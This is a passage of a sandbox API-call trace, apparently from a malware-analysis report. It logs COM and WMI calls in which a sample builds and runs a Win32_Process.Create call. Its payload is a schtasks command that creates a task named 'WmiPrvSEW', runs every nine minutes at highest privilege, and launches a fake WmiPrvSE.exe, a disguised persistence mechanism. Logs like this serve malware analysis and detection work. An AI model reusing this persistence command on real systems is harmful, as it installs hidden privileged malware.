[6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcd18 | out: ppvObject=0x1b2fcd18*=0x0) returned 0x80004002 [0088.658] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1c002220, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fccc8 | out: ppvObject=0x1b2fccc8*=0x1bea0d70) returned 0x0 [0088.658] WbemDefPath:IUnknown:Release (This=0x1c002220) returned 0x0 [0088.658] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea0d70, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcad8 | out: ppvObject=0x1b2fcad8*=0x1bea0d70) returned 0x0 [0088.658] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea0d70, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcb80 | out: ppvObject=0x1b2fcb80*=0x0) returned 0x80004002 [0088.658] WbemDefPath:IUnknown:AddRef (This=0x1bea0d70) returned 0x3 [0088.658] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea0d70, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc228 | out: ppvObject=0x1b2fc228*=0x0) returned 0x80004002 [0088.658] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea0d70, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc1b0 | out: ppvObject=0x1b2fc1b0*=0x0) returned 0x80004002 [0088.658] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea0d70, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc1a0 | out: ppvObject=0x1b2fc1a0*=0x1c002180) returned 0x0 [0088.658] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1c002180, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc1c8 | out: pCid=0x1b2fc1c8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0088.658] WbemDefPath:IUnknown:Release (This=0x1c002180) returned 0x3 [0088.658] CoGetContextToken (in: pToken=0x1b2fc250 | out: pToken=0x1b2fc250) returned 0x0 [0088.658] CoGetContextToken (in: pToken=0x1b2fc6d0 | out: pToken=0x1b2fc6d0) returned 0x0 [0088.659] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea0d70, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc790 | out: ppvObject=0x1b2fc790*=0x0) returned 0x80004002 [0088.659] WbemDefPath:IUnknown:Release (This=0x1bea0d70) returned 0x2 [0088.659] WbemDefPath:IUnknown:Release (This=0x1bea0d70) returned 0x1 [0088.659] CoGetContextToken (in: pToken=0x1b2fd4f0 | out: pToken=0x1b2fd4f0) returned 0x0 [0088.659] CoGetContextToken (in: pToken=0x1b2fd3f0 | out: pToken=0x1b2fd3f0) returned 0x0 [0088.659] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea0d70, riid=0x1b2fd550*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd520 | out: ppvObject=0x1b2fd520*=0x1bea0d70) returned 0x0 [0088.659] WbemDefPath:IUnknown:AddRef (This=0x1bea0d70) returned 0x3 [0088.659] WbemDefPath:IUnknown:Release (This=0x1bea0d70) returned 0x2 [0088.659] WbemDefPath:IWbemPath:SetText (This=0x1bea0d70, uMode=0x4, pszPath="Win32_Process") returned 0x0 [0088.659] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea1130, puCount=0x1b2fd960 | out: puCount=0x1b2fd960*=0x2) returned 0x0 [0088.659] WbemDefPath:IWbemPath:GetText (in: This=0x1bea1130, lFlags=8, puBuffLength=0x1b2fd958*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd958*=0xf, pszText=0x0) returned 0x0 [0088.659] WbemDefPath:IWbemPath:GetText (in: This=0x1bea1130, lFlags=8, puBuffLength=0x1b2fd958*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd958*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0088.659] CoGetObjectContext (in: riid=0x28ea900*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd7e8 | out: ppv=0x1b2fd7e8*=0x111f638) returned 0x0 [0088.659] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd7d8 | out: pAptType=0x1b2fd7d8*=1) returned 0x0 [0088.659] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28ea8e0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd7e0 | out: ppvObject=0x1b2fd7e0*=0x0) returned 0x80004002 [0088.659] IUnknown:Release (This=0x111f638) returned 0x1 [0088.661] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc00 | out: ppv=0x1b2fcc00*=0x1c0021c0) returned 0x0 [0088.661] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c0021c0, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcc48 | out: ppvObject=0x1b2fcc48*=0x0) returned 0x80004002 [0088.661] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1c0021c0, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcbf8 | out: ppvObject=0x1b2fcbf8*=0x1bea0bf0) returned 0x0 [0088.661] WbemDefPath:IUnknown:Release (This=0x1c0021c0) returned 0x0 [0088.661] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea0bf0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca08 | out: ppvObject=0x1b2fca08*=0x1bea0bf0) returned 0x0 [0088.661] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea0bf0, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcab0 | out: ppvObject=0x1b2fcab0*=0x0) returned 0x80004002 [0088.662] WbemDefPath:IUnknown:AddRef (This=0x1bea0bf0) returned 0x3 [0088.662] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea0bf0, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc158 | out: ppvObject=0x1b2fc158*=0x0) returned 0x80004002 [0088.662] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea0bf0, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc0e0 | out: ppvObject=0x1b2fc0e0*=0x0) returned 0x80004002 [0088.662] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea0bf0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc0d0 | out: ppvObject=0x1b2fc0d0*=0x1c002100) returned 0x0 [0088.662] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1c002100, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc0f8 | out: pCid=0x1b2fc0f8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0088.662] WbemDefPath:IUnknown:Release (This=0x1c002100) returned 0x3 [0088.662] CoGetContextToken (in: pToken=0x1b2fc180 | out: pToken=0x1b2fc180) returned 0x0 [0088.662] CoGetContextToken (in: pToken=0x1b2fc600 | out: pToken=0x1b2fc600) returned 0x0 [0088.662] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea0bf0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc6c0 | out: ppvObject=0x1b2fc6c0*=0x0) returned 0x80004002 [0088.662] WbemDefPath:IUnknown:Release (This=0x1bea0bf0) returned 0x2 [0088.662] WbemDefPath:IUnknown:Release (This=0x1bea0bf0) returned 0x1 [0088.662] CoGetContextToken (in: pToken=0x1b2fd420 | out: pToken=0x1b2fd420) returned 0x0 [0088.662] CoGetContextToken (in: pToken=0x1b2fd320 | out: pToken=0x1b2fd320) returned 0x0 [0088.662] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea0bf0, riid=0x1b2fd480*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd450 | out: ppvObject=0x1b2fd450*=0x1bea0bf0) returned 0x0 [0088.662] WbemDefPath:IUnknown:AddRef (This=0x1bea0bf0) returned 0x3 [0088.662] WbemDefPath:IUnknown:Release (This=0x1bea0bf0) returned 0x2 [0088.662] WbemDefPath:IWbemPath:SetText (This=0x1bea0bf0, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0088.662] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea0d70, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x0) returned 0x0 [0088.662] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea0bf0, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x2) returned 0x0 [0088.663] WbemDefPath:IWbemPath:GetText (in: This=0x1bea0bf0, lFlags=16, puBuffLength=0x1b2fd888*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd888*=0xb, pszText=0x0) returned 0x0 [0088.663] WbemDefPath:IWbemPath:GetText (in: This=0x1bea0bf0, lFlags=16, puBuffLength=0x1b2fd888*=0xb, pszText="0000000000" | out: puBuffLength=0x1b2fd888*=0xb, pszText="root\\cimv2") returned 0x0 [0088.663] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x1bea0d70) returned 0x0 [0088.663] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea0bf0, puCount=0x1b2fd8f0 | out: puCount=0x1b2fd8f0*=0x2) returned 0x0 [0088.663] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bea0bf0, uIndex=0x0, puNameBufLength=0x1b2fd8e8*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e8*=0x5, pName=0x0) returned 0x0 [0088.663] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bea0bf0, uIndex=0x0, puNameBufLength=0x1b2fd8e8*=0x5, pName="0000" | out: puNameBufLength=0x1b2fd8e8*=0x5, pName="root") returned 0x0 [0088.663] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1bea0d70, uIndex=0x0, pszName="root") returned 0x0 [0088.663] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bea0bf0, uIndex=0x1, puNameBufLength=0x1b2fd8e8*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e8*=0x6, pName=0x0) returned 0x0 [0088.663] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bea0bf0, uIndex=0x1, puNameBufLength=0x1b2fd8e8*=0x6, pName="00000" | out: puNameBufLength=0x1b2fd8e8*=0x6, pName="cimv2") returned 0x0 [0088.663] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1bea0d70, uIndex=0x1, pszName="cimv2") returned 0x0 [0088.663] WbemDefPath:IWbemPath:GetServer (in: This=0x1bea0bf0, puNameBufLength=0x1b2fd8e0*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e0*=0x2, pName=0x0) returned 0x0 [0088.663] WbemDefPath:IWbemPath:GetServer (in: This=0x1bea0bf0, puNameBufLength=0x1b2fd8e0*=0x2, pName="0" | out: puNameBufLength=0x1b2fd8e0*=0x2, pName=".") returned 0x0 [0088.663] WbemDefPath:IWbemPath:GetServer (in: This=0x1bea0d70, puNameBufLength=0x1b2fd8e0*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e0*=0x2, pName=0x0) returned 0x0 [0088.663] WbemDefPath:IWbemPath:GetServer (in: This=0x1bea0d70, puNameBufLength=0x1b2fd8e0*=0x2, pName="0" | out: puNameBufLength=0x1b2fd8e0*=0x2, pName=".") returned 0x0 [0088.663] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bea0d70, uRequestedInfo=0x0, puResponse=0x1b2fd978 | out: puResponse=0x1b2fd978*=0xc15) returned 0x0 [0088.663] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea1130, puCount=0x1b2fd8d0 | out: puCount=0x1b2fd8d0*=0x2) returned 0x0 [0088.663] WbemDefPath:IWbemPath:GetText (in: This=0x1bea1130, lFlags=4, puBuffLength=0x1b2fd8c8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd8c8*=0xf, pszText=0x0) returned 0x0 [0088.663] WbemDefPath:IWbemPath:GetText (in: This=0x1bea1130, lFlags=4, puBuffLength=0x1b2fd8c8*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd8c8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0088.663] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea1130, puCount=0x1b2fd8a0 | out: puCount=0x1b2fd8a0*=0x2) returned 0x0 [0088.663] WbemDefPath:IWbemPath:GetText (in: This=0x1bea1130, lFlags=4, puBuffLength=0x1b2fd898*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd898*=0xf, pszText=0x0) returned 0x0 [0088.663] WbemDefPath:IWbemPath:GetText (in: This=0x1bea1130, lFlags=4, puBuffLength=0x1b2fd898*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd898*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0088.663] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea0d70, puCount=0x1b2fd960 | out: puCount=0x1b2fd960*=0x2) returned 0x0 [0088.663] WbemDefPath:IWbemPath:GetText (in: This=0x1bea0d70, lFlags=4, puBuffLength=0x1b2fd958*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd958*=0x1d, pszText=0x0) returned 0x0 [0088.663] WbemDefPath:IWbemPath:GetText (in: This=0x1bea0d70, lFlags=4, puBuffLength=0x1b2fd958*=0x1d, pszText="0000000000000000000000000000" | out: puBuffLength=0x1b2fd958*=0x1d, pszText="\\\\.\\root\\cimv2:Win32_Process") returned 0x0 [0088.663] WbemDefPath:IWbemPath:GetText (in: This=0x1bea0d70, lFlags=2, puBuffLength=0x1b2fd968*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd968*=0xe, pszText=0x0) returned 0x0 [0088.663] WbemDefPath:IWbemPath:GetText (in: This=0x1bea0d70, lFlags=2, puBuffLength=0x1b2fd968*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b2fd968*=0xe, pszText="Win32_Process") returned 0x0 [0088.664] IWbemServices:GetObject (in: This=0x1bf01cb0, strObjectPath="Win32_Process", lFlags=0, pCtx=0x0, ppObject=0x1b2fd7b0*=0x0, ppCallResult=0x0 | out: ppObject=0x1b2fd7b0*=0x11ed8b0, ppCallResult=0x0) returned 0x0 [0088.677] IWbemClassObject:GetMethod (in: This=0x11ed8b0, wszName="Create", lFlags=0, ppInSignature=0x1b2fd9e8, ppOutSignature=0x1b2fd9e0 | out: ppInSignature=0x1b2fd9e8*=0x11edc20, ppOutSignature=0x1b2fd9e0*=0x11edf90) returned 0x0 [0088.677] IWbemClassObject:SpawnInstance (in: This=0x11edc20, lFlags=0, ppNewInstance=0x1b2fd9f8 | out: ppNewInstance=0x1b2fd9f8*=0x1bf46370) returned 0x0 [0088.678] IWbemClassObject:Get (in: This=0x1bf46370, wszName="CommandLine", lFlags=0, pVal=0x1b2fd8e8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29bc348*=0, plFlavor=0x29bc34c*=0 | out: pVal=0x1b2fd8e8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29bc348*=8, plFlavor=0x29bc34c*=32) returned 0x0 [0088.678] IWbemClassObject:Get (in: This=0x1bf46370, wszName="CommandLine", lFlags=0, pVal=0x1b2fd918*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29bc348*=8, plFlavor=0x29bc34c*=32 | out: pVal=0x1b2fd918*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29bc348*=8, plFlavor=0x29bc34c*=32) returned 0x0 [0088.678] IWbemClassObject:Put (This=0x1bf46370, wszName="CommandLine", lFlags=0, pVal=0x1b2fd970*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="schtasks.exe /create /tn \"WmiPrvSEW\" /sc MINUTE /mo 9 /tr \"'C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\WmiPrvSE.exe'\" /rl HIGHEST /f", varVal2=0x0), Type=0) returned 0x0 [0088.685] IWbemClassObject:Get (in: This=0x1bf46370, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1b2fd8e8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29bc3d8*=0, plFlavor=0x29bc3dc*=0 | out: pVal=0x1b2fd8e8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29bc3d8*=13, plFlavor=0x29bc3dc*=32) returned 0x0 [0088.685] IWbemClassObject:Get (in: This=0x1bf46370, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1b2fd918*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29bc3d8*=13, plFlavor=0x29bc3dc*=32 | out: pVal=0x1b2fd918*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29bc3d8*=13, plFlavor=0x29bc3dc*=32) returned 0x0 [0088.685] IUnknown:QueryInterface (in: This=0x11ed1d0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd2e8 | out: ppvObject=0x1b2fd2e8*=0x11ed1d0) returned 0x0 [0088.686] IUnknown:QueryInterface (in: This=0x11ed1d0, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fd390 | out: ppvObject=0x1b2fd390*=0x0) returned 0x80004002 [0088.686] IUnknown:QueryInterface (in: This=0x11ed1d0, riid=0x7fef1d169a8*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcfb8 | out: ppvObject=0x1b2fcfb8*=0x0) returned 0x80004002 [0088.686] IUnknown:AddRef (This=0x11ed1d0) returned 0x3 [0088.686] IUnknown:QueryInterface (in: This=0x11ed1d0, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fca38 | out: ppvObject=0x1b2fca38*=0x0) returned 0x80004002 [0088.686] IUnknown:QueryInterface (in: This=0x11ed1d0, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc9c0 | out: ppvObject=0x1b2fc9c0*=0x0) returned 0x80004002 [0088.686] IUnknown:QueryInterface (in: This=0x11ed1d0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc9b0 | out: ppvObject=0x1b2fc9b0*=0x11ed1d8) returned 0x0 [0088.686] IMarshal:GetUnmarshalClass (in: This=0x11ed1d8, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc9d8 | out: pCid=0x1b2fc9d8*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0088.686] IUnknown:Release (This=0x11ed1d8) returned 0x3 [0088.686] CoGetContextToken (in: pToken=0x1b2fca60 | out: pToken=0x1b2fca60) returned 0x0 [0088.686] CoGetContextToken (in: pToken=0x1b2fcee0 | out: pToken=0x1b2fcee0) returned 0x0 [0088.686] IUnknown:QueryInterface (in: This=0x11ed1d0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcfa0 | out: ppvObject=0x1b2fcfa0*=0x0) returned 0x80004002 [0088.687] IUnknown:Release (This=0x11ed1d0) returned 0x2 [0088.687] CoGetContextToken (in: pToken=0x1b2fce30 | out: pToken=0x1b2fce30) returned 0x0 [0088.687] CoGetContextToken (in: pToken=0x1b2fcd30 | out: pToken=0x1b2fcd30) returned 0x0 [0088.687] IUnknown:QueryInterface (in: This=0x11ed1d0, riid=0x1b2fce90*(Data1=0x805e3b62, Data2=0xb5e9, Data3=0x393d, Data4=([0]=0x89, [1]=0x41, [2]=0x37, [3]=0x7d, [4]=0x8b, [5]=0xf4, [6]=0x55, [7]=0x6b)), ppvObject=0x1b2fce60 | out: ppvObject=0x1b2fce60*=0x0) returned 0x80004002 [0088.687] CoGetContextToken (in: pToken=0x1b2fcfc0 | out: pToken=0x1b2fcfc0) returned 0x0 [0088.687] IUnknown:QueryInterface (in: This=0x11ed1d0, riid=0x7fef1d2d4b0*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd090 | out: ppvObject=0x1b2fd090*=0x0) returned 0x80004002 [0088.687] CoGetContextToken (in: pToken=0x1b2fd050 | out: pToken=0x1b2fd050) returned 0x0 [0088.687] IUnknown:AddRef (This=0x11ed1d0) returned 0x3 [0088.687] IWbemClassObject:Put (This=0x1bf46370, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1b2fd970*(varType=0xd, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x11ed1d0, varVal2=0x0), Type=0) returned 0x0 [0088.687] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea1070, puCount=0x1b2fda10 | out: puCount=0x1b2fda10*=0x2) returned 0x0 [0088.687] WbemDefPath:IWbemPath:GetText (in: This=0x1bea1070, lFlags=4, puBuffLength=0x1b2fda08*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fda08*=0x26, pszText=0x0) returned 0x0 [0088.687] WbemDefPath:IWbemPath:GetText (in: This=0x1bea1070, lFlags=4, puBuffLength=0x1b2fda08*=0x26, pszText="0000000000000000000000000000000000000" | out: puBuffLength=0x1b2fda08*=0x26, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0088.687] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea1130, puCount=0x1b2fd950 | out: puCount=0x1b2fd950*=0x2) returned 0x0 [0088.688] WbemDefPath:IWbemPath:GetText (in: This=0x1bea1130, lFlags=4, puBuffLength=0x1b2fd948*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd948*=0xf, pszText=0x0) returned 0x0 [0088.688] WbemDefPath:IWbemPath:GetText (in: This=0x1bea1130, lFlags=4, puBuffLength=0x1b2fd948*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd948*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0088.688] WbemDefPath:IWbemPath:GetText (in: This=0x1bea1070, lFlags=2, puBuffLength=0x1b2fda18*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fda18*=0xe, pszText=0x0) returned 0x0 [0088.688] WbemDefPath:IWbemPath:GetText (in: This=0x1bea1070, lFlags=2, puBuffLength=0x1b2fda18*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b2fda18*=0xe, pszText="Win32_Process") returned 0x0 [0088.688] IWbemServices:ExecMethod (in: This=0x1bf01cb0, strObjectPath="Win32_Process", strMethodName="Create", lFlags=0, pCtx=0x0, pInParams=0x1bf46370, ppOutParams=0x1b2fd820*=0x0, ppCallResult=0x0 | out: ppOutParams=0x1b2fd820*=0x1bf46620, ppCallResult=0x0) returned 0x0 [0088.849] IWbemClassObject:Get (in: This=0x1bf46620, wszName="ProcessId", lFlags=0, pVal=0x1b2fd978*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29bc6f0*=0, 